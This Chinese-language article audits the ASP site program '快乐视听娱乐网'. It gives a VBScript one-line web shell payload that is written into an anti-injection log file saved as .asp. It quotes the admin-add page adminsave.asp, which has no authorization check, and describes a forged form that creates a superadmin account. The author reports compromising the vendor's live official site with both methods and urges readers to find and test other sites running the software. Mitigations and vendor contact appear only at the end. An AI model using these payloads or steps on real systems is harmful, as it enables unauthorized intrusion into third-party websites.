| 前段时间一个朋友由于建站的需要,让我帮忙负责筛选整站程序。本着安全第一的原则,我一有时间就读朋友发来的挑选好的程序,大大小小的程序读了n多个。在读这些程序的过程中,我发现不少程序在脚本安全方面做得并不是很好,其中有些问题很典型,也很严重。下面我就以在“快乐视听娱乐网”这套程序中发现的问题为例进行分析。
拿到这套程序,我首先在本机上搭建了测试环境,大致了解一下这个程序的功能。我先找到调用数据库的连接地址,通过提交参数来判断是否有明显的注入漏洞,结果很欣慰地发现这个程序用了防注入系统,只要提交非法的参数就会自动记录你的IP地址、提交的非法参数及动作等,如图1所示,然后就是屏蔽你的IP地址,无法访问网站了。

之后我又在搜索框中输入“歌名%’ and 1=1 and ‘%’=’”和“歌名%’ and 1=2 and ‘%’=’”,发现也没有问题。查看程序代码,发现过滤了单引号,看来这条路也走不通了;其余的地方,如后台登录等也都做了过滤,只好继续看代码。最后发现即使没有过滤的变量文件也都用了处理 SSI 文件时出错 语句来调用防注入系统,这样注入这条路就彻底地断送了。难道就这样地被防注入系统给拒之门外了吗?想到有的防注入系统过滤得不好,我们还是可以利用URL编码绕过的,那么这里是否存在这样的问题呢?带着这样的疑问我看了下代码,发现也不存在这个问题。但是又看了一遍这个防注入系统代码,给了我一个惊喜,那就是这个防注入系统记录我们提交的非法数据,写入data目录中的#sql.asp数据库中。大家注意这里的数据库#sql.asp,其后缀是ASP格式的,而且没有做任何的防下载处理。聪明的读者可能已经想到了,我们为何不在提交非法的参数中加入一句话ASP木马呢?这样防注入系统就会记录我们提交的数据和一句话木马并写入数据库,我们不是可以通过#sql.asp来获得一个WebShell吗?这里需要注意的是“Fy_In="'|;|and|(|)|exec|insert|select|delete|update|
count|*|% |chr|mid|master|truncate|char|declare"”,我们只有提交这些出现“|”分隔的被过滤的字串的时候,才会被防注入系统拦截并写入数据库中,如图2所示。

这样,一句话木马就写进去了。<SCRIPT RUNAT=SERVER LANGUAGE=VBSCRIPT>eval request(chr(35))</SCRIPT>其实就是<%eval request(chr(35))%>,我开始也是用<%eval request(chr(35))%>写的,但是发现在数据库中变成了<eval request(chr(35))>,那就不用“%”这个符号了,用<SCRIPT RUNAT=SERVER LANGUAGE=VBSCRIPT>eval request(chr(35))</SCRIPT>也是一样的效果。这里我用Access打开给大家看看提交后写入数据库的完整格式,如图3所示。

这里我遇见一个奇怪的问题,在本地测试提交的时候一直提示“Script块缺少脚本关闭标记(%>)”。#sql.asp数据库没有做任何处理,也没有用网上流传的那个一运行就自动在数据库中加入防下载处理的ASP文件,这个问题郁闷了我半天。于是我请朋友“血汗”帮忙测试,也是这样的结果;然后我又重新测试了一下,竟然奇迹般的正常了,难道是我的人品问题?我想到的解释是,最后一个“%>”正好到了换行才导致这样的结果。这样的问题我遇见过好多次了,有知道的朋友记得要告诉我啊。这里记得可不能写错哦,把数据库弄坏了,闭合不了的话,就很难再利用第2次了。
能够成功利用上面的漏洞的前提是防注入数据库的路径我们要知道,不过大家可以放心,很少管理员会刻意修改这个数据库路径的,即便是官方网站也没有修改。本地测试成功后,我在官方网站随便找个调用数据库连接写入“;
”,这样一句话木马就写入成功了,然后用海洋连接上再上传个大马,这里我就不提供抓图了。我就是通过防注入程序漏洞先拿到了官方的WebShell,从而为后面的测试提供了很大的方便,大家继续看就明白了。
在读到adminsave.asp这个文件的时候,我又有了发现,这个漏洞对这个程序来说是致命的。源代码面前没有任何的秘密,这里我就先把代码贴出来给大家看看,如下所示。
| <!--#include file ="../md5/md5.asp"-->
<!--#include file="conn.asp"-->
<%
username=LCase(Request("username"))
password=LCase(Request("newpin"))
re_newpin=LCase(Request("re_newpin"))
if password<>re_newpin then
response.wrITe"<script>alert('初始密码与确认密码不一致,不接受!');history.back();</Script>"
response.end
end if
password=MD5(password)
flag=Request("flag")
Set rs=Server.CreateObject("Adodb.RecordSet")
rs.Open "Select * from admin where name='"&username&"'",conn
if not rs.EOF then
Response.WrITe "<font color=red><div align=center><br><br>该用户名已经存在</div></font>"
Response.End
end if
rs.close
sql="select * from admin"
rs.open sql,conn,1,3
rs.addnew
rs("name")=username
rs("pwd")=password
rs("flag")=flag
rs.update
rs.Close
set rs=Nothing
conn.Close
set conn=Nothing
Response.Redirect "addadmin.asp"
%> | 这个文件的功能是添加管理员账号,大家可以看到在文件的开始用include调用了md5.asp和conn.asp文件,其中md5.asp是加密用的,conn.asp是连接数据库用的;然后就从表单中读取我们输入的管理员账号和密码,并在管理员数据中比较是否有和我们要添加的管理员用户名一样的,若有的话就报错,没有的话就添加我们输入的管理员账号,之后程序会再跳转到addadmin.asp页面。
漏洞的成因是由于这个文件没有任何的权限访问判断,include的md5.asp和conn.asp也没有判断我们是否有权限访问这个文件,导致任何人都可以访问;最要命的是,它的功能是添加管理员并且没有做任何禁止站外提交的防护。如果我们在本地构造一个添加管理员用户的表单,然后再提交给目标网站的adminsave.asp处理,不就可以添加管理员了吗?
为了验证上面的推论是正确的,我用FrontPage做了一个简陋的可以添加管理员账号的页面,用记事本打开,把action=”http://www.target.com/adminsave.asp”换成要测试的站点的URL并保存为HTML,然后在表单中填上要添加的管理员账号和密码就可以了,如图4所示。

看到那个警告框了吗?大家可不要被它给骗了,这是由于adminsave.asp文件的最后有一句“Response.Redirect "addadmin.asp"”造成的结果。而addadmin.asp中有个session("flag")>1判断了是否是管理员的权限,从程序的代码中知道,只有用管理员账号登录成功后才能得到Session值的,我们没有登录上哪有Session呀,当然会非法了。不过没关系,因为我们添加的管理员已经成功了。测试官方的方法也是一样的,只是官方用的商业版4.0的默认后台给修改了而已,不过我有上面利用防注入写进去的海洋一句话木马,传个大马上去找到了后台,不然还真没有办法在官方测试了。在action后写上官方的adminsave.asp地址,在表单中填上Zero_cold的账号后点确定,用Zero_cold账号成功地登录了官方后台,如图5所示。

这个程序的后台功能非常的强大,网站信息配置里可以设定上传选项,还有数据库备份功能(官方的4.0版把这个功能删除了)。至于用超级管理员账号进入后台怎么得到WebShell,我想不用我再说了吧?
剩下的事情,大家就自己搜索关键字测试吧,网上采用这套系统的网站相当多,我在官方随便复制个关键字就搜出很多页面出来,还请大家测试的时候不要搞破坏哦。加上上面的SQL防注入系统,我们可以拿到WebShell的途径就有两种了,大家测试的时候可以根据自己的具体情况选择。至于我做的那个提交页面,大家若不嫌丑陋的话,就凑合着用吧。
我自己测试的是3.0增强版的,官方使用的则是商业版4.0的。由于我没有商业版程序,就没有看具体的变化在哪里,但从测试结果来看,商业版也是存在这个漏洞的,看来程序的作者还是太疏忽了。目前发现的程序漏洞我已经联系了官方,还在使用这套程序的朋友可以把防注入程序的数据库地址修改一下或做相应的防下载处理,并在adminsave.asp文件中加上“处理 SSI 文件时出错 ”来判断管理员的Session,或者是把adminsave.asp里的代码整合在addadmin.asp文件中,就可以防止本地提交随意添加超级管理员账号了。
|